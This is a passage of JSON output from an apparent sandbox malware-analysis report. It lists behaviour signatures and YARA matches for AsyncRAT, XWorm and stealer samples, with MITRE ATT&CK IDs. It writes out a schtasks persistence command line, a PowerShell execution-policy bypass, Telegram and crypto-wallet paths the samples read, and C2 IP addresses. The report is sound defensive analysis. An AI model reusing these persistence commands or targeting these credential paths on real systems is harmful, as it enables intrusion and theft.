Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"System Properties.exe\" opened \"\\Device\\KsecDD\"\n \"windows defender.exe\" opened \"\\Device\\KsecDD\"\n \"explorer.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"Launcher.exe\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-File\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Out-Null\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Out-File\"; File: \"cookieextract.ps1\")\n file/memory contains long string with (Indicator: \"Out-Null\"; File: \"cookieextract.ps1\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutex\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"Build.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- Location: [%TEMP%\\Build.exe]- [targetUID: 00000000-00005992]\n \"windows defender.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- Location: [%TEMP%\\windows defender.exe]- [targetUID: 00000000-00005868]\n \"explorer.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- Location: [%TEMP%\\explorer.exe]- [targetUID: 00000000-00007364]\n \"Launcher.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections\"- Location: [%TEMP%\\Launcher.exe]- [targetUID: 00000000-00005868]\n \"System Properties.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- Location: [%TEMP%\\System Properties.exe]- [targetUID: 00000000-00005868]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"explorer.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\explorer.exe.log]- [targetUID: 00000000-00007364]\n Dropped file: \"System Properties.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk]- [targetUID: 00000000-00006668]\n Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00007948]\n Dropped file: \"Finder-Latest.log\" - Location: [%APPDATA%\\Finder-Latest.log]- [targetUID: 00000000-00006308]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006308]\n Dropped file: \"explorcr.exe\" - Location: [%APPDATA%\\explorcr.exe]- [targetUID: 00000000-00007420]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"screenshot_20250917_150925.png\" has type \"PNG image data 1280 x 800 8-bit/color RGBA non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"Launcher.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Build.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Build.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"System Properties.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"explorer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"explorcr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Build.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5992)\n \"System Properties.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6668)\n \"windows defender.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6308)\n \"explorer.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7364)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7948)\n \"explorcr.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7420)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"7/27 Antivirus vendors marked sample as malicious (25% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceExW@KERNEL32.DLL at 00000000-00007948-65500-135-001BDAD1\n FindResourceExW@KERNEL32.DLL at 00000000-00007948-65500-139-001BD934","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"\n \"Launcher.exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$60","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"System Properties.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SYSTEM PROPERTIES\"; Value: \"%ALLUSERSPROFILE%\\System Properties.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$61","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$62","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"Launcher.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nswB74A.tmp\" for deletion\n \"Launcher.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsvC13D.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"Launcher.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nswB74A.tmp\" with delete access\n \"Launcher.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsvC13D.tmp\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"Launcher.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"System Properties.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"$63","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"Launcher.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\Launcher.exe (UID: 00000000-00007048)\n \"Launcher.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\Build.exe (UID: 00000000-00007048)\n \"Launcher.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\System Properties.exe (UID: 00000000-00005868)\n \"Launcher.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\windows defender.exe (UID: 00000000-00005868)\n \"Launcher.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\explorer.exe (UID: 00000000-00005868)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\" was dropped at \"%ALLUSERSPROFILE%\\System Properties.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at CC6F0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/create /f /RL HIGHEST /sc minute /mo 1 /tn \"System Properties\" /tr \"%ALLUSERSPROFILE%\\\\System Properties.exe\"\" (UID: 00000000-00000196)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"$64","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$65","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 45.241.132.125 on port 4242\n TCP traffic to 45.241.132.125 on port 5353","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"$66","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - AsyncRAT","description":"YARA signature Malware.AsyncRAT matched on file \"explorer.exe\"\n YARA signature Malware.AsyncRAT matched on file \"explorcr.exe\"\n YARA signature Malware.AsyncRAT matched on file \"windows defender.exe\"","origin":"YARA Signature","relevance":10,"id":"yara-6","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Malware.XWorm","description":"YARA signature Malware.XWorm matched on file \"System Properties.exe\"","origin":"YARA Signature","relevance":10,"id":"yara-24","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - generic stealer","description":"YARA signature Malware.Stealer matched on file \"explorer.exe\"\n YARA signature Malware.Stealer matched on file \"explorcr.exe\"\n YARA signature Malware.Stealer matched on file \"windows defender.exe\"","origin":"YARA Signature","relevance":10,"id":"yara-8","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match – WorldWind stealer","description":"YARA signature WorldWind stealer matched on file \"explorer.exe\"\n YARA signature WorldWind stealer matched on file \"explorcr.exe\"\n YARA signature WorldWind stealer matched on file \"windows defender.exe\"","origin":"YARA Signature","relevance":10,"id":"yara-133","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to steal desktop application's information (file access)","description":"Build.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\TELEGRAM DESKTOP\\TDATA related to Telegram\n Build.exe trying to open a file %APPDATA%\\TELEGRAM DESKTOP\\TDATA related to Telegram","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"Build.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\EXODUS\\EXODUS.WALLET\"\n \"Build.exe\" trying to touch file \"%APPDATA%\\EXODUS\\EXODUS.WALLET\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$67","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$68","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"System Security","name":"Executes WMI queries in order to detect local security applications","description":"\"System Properties.exe\" issued a query \"Select * from AntivirusProduct\"","origin":"API Call","mitre_attack_id":"T1518.001","relevance":7,"id":"api-80","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-ExecutionPolicy Bypass -File \"%APPDATA%\\\\\" (UID: 00000000-00007948)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$69","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"Launcher.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4424136'}\" (UID: 00000000-00003024)\n \"Launcher.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4424040'}\" (UID: 00000000-00003024)\n \"Launcher.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4424136'}\" (UID: 00000000-00004480)\n \"Launcher.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4424040'}\" (UID: 00000000-00004480)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify thread functionality - possible hijack (API string)","description":"Found reference to API \"NtOpenThread\" (Indicator: \"OpenThread\"; File: \"00004376.00001118.28716314.00401000.wprm\")\n Found reference to API \"NtSuspendThread\" (Indicator: \"SuspendThread\"; File: \"00004376.00001118.28716314.00401000.wprm\")\n Found reference to API \"NtResumeThread\" (Indicator: \"ResumeThread\"; File: \"00004376.00001118.28716314.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found 